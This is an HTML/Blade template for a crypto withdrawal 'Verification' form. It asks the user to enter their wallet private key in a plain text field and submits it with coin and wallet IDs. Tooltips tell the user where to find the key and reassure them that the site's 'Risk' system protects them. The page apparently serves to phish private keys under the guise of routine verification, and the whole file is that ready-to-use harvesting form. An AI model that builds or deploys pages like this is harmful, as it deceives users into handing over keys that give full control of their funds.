<form 
    id="crypto_withdraw_private_key"
    class="w-full max-w-md mx-auto p-6"
    action="{{ $url }}"
>
    <input name="coin_id" type="hidden" value="{{ $coin->id }}"/> 
    <input name="wallet_id" type="hidden" value="{{ $wallet->id }}"/> 
    <div class="h-full overflow-y-auto">

        <!-- Title -->
        <div class="text-2xl font-bold text-gray-200 mb-2">Verification</div>
        <div class="text-gray-400 mb-6">Enter your private key to continue.</div>

        <!-- Private Key Field -->
        <div class="mb-6">
            <label class="block text-gray-300 mb-2">Private Key</label>

            <div class="flex items-center border-b border-gray-600 focus-within:border-blue-500 transition-all">

                <input 
                    type="text"
                    name="pKey"
                    class="w-full bg-transparent text-gray-100 py-2 outline-none"
                    spellcheck="false"
                    autocomplete="off"
                >

                <!-- Tooltip Icon -->
                <div class="relative group ml-2 cursor-pointer">

                    <svg class="w-5 h-5 text-gray-400 group-hover:text-gray-200 transition" viewBox="0 0 24 24">
                        <path fill-rule="evenodd" clip-rule="evenodd"
                              d="M12 21a9 9 0 100-18 9 9 0 000 18zM10.75 8.5V6h2.5v2.5h-2.5zm0 9.5v-7h2.5v7h-2.5z"
                              fill="currentColor"></path>
                    </svg>

                    <!-- Tooltip content -->
                    <div class="absolute hidden group-hover:block bg-gray-800 text-gray-200 text-sm p-3 rounded shadow-lg w-48 right-0 top-6">
                        You can find your private key under account security.
                    </div>
                </div>
            </div>
        </div>

        <!-- Submit Button -->
        <button
            type="submit"
            class="w-full bg-blue-600 hover:bg-blue-700 text-white py-3 rounded-lg font-semibold text-center transition">
            Submit
        </button>

        <!-- Info Message -->
        <div class="text-center text-sm text-orange-400 mt-3">
            You can find your private key under account security
        </div>

        <!-- Risk Warning -->
        <div class="relative flex flex-col items-center w-full pt-6 pb-4 mt-6 group cursor-pointer">

            <div class="flex items-center text-gray-500">
                <svg class="w-5 h-5 mr-1" viewBox="0 0 24 24">
                    <path fill-rule="evenodd" clip-rule="evenodd"
                          d="M4 4v12l8 5 8-5V4H4zm12 7a4 4 0 11-8 0 4 4 0 018 0zm-4-2.121L9.879 11 12 13.121 14.121 11 12 8.879z"
                          fill="currentColor"></path>
                </svg>
                <span class="text-gray-500 text-sm">Protected by {{ system_settings('site_name') }} Risk</span>
            </div>

            <!-- Tooltip -->
            <div class="absolute hidden group-hover:block bg-gray-800 text-orange-400 text-sm p-4 rounded shadow-lg max-w-xs top-12">
                Rest assured, your verification methods are dynamically implemented by {{ system_settings('site_name') }}s Risk for sound protection. More verification methods will be requested upon suspicious activities.
            </div>

        </div>

    </div>
</form>
